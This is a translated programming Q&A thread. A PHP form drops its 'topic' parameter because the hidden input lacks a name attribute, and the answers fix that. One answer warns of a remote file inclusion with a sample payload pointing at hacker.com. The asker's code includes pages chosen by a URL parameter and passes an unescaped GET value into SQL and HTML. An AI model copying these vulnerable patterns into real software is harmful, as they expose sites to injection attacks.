我试图在以后创建用于$ _GET的书签的表单。目前,每当我尝试$ _GET值时,它总是将我发送到我在加载时默认的页面。我尝试过的一件事是使用hidden value
使用以下代码行(在下面的示例中,我对它的尝试进行了注释):
<input type='hidden' value='<?=$topic?>'/>
我有一个网址:
https://mywebpage.com/testphp.php?topic=home.php
使用topic=home.php
的原因是,我将全部从testphp.php页面切换页面,并且每个页面都有各自独立的形式。如果网页加载了topic=null or topic = ""
,则默认为home.php。
当我在home.php上创建HTML表单(目前为Pretty Basic)时,省略了除表单之外的所有内容:
<form id = "test" method = "GET">
<!--<input type='hidden' value='<?=$topic?>'/>-->
<input type="text" name="firstname" Value = '<?=$fname?>' onchange="rememberField(this)">
<input type="Submit" name="Search" >
</form>
在我的subpage.php中为$_GET
使用"firstname"
<?php
include 'index.php';
$fname = "";
$reqmethod = $_SERVER["REQUEST_METHOD"];
if($reqmethod == "GET") {
$fname = $_GET["firstname"];
}
?>
按原样收集"firstname"
,并使用它输入我创建的SQL中,但是它没有做的是维护firstname=ben
部分。
相反,新的Web网址如下所示,它将默认为home.php:
https://mywebpage.com/testphp.php?firstname=ben
我想要的预期结果是:
https://mywebpage.com/testphp.php?topic=home.php&firstname=ben
答案 0 :(得分:3)
您错过了name
属性:
<input type='hidden' value='<?=$topic?>' name='topic'/>
P.S。这种包含服务器端脚本的方法很容易受到安全攻击,所以请当心!
仅举一个例子,说明有人设法注入了这个topic=http://hacker.com/erase-all-pages.php
答案 1 :(得分:0)
在隐藏字段中,您必须为输入设置名称
<input type='hidden' value='<?=$topic?>'/> <!--BAD INPUT-->
<input type='hidden' name="topic" value='<?=$topic?>'/> <!-- WITH NAME ATTRIBUTE -->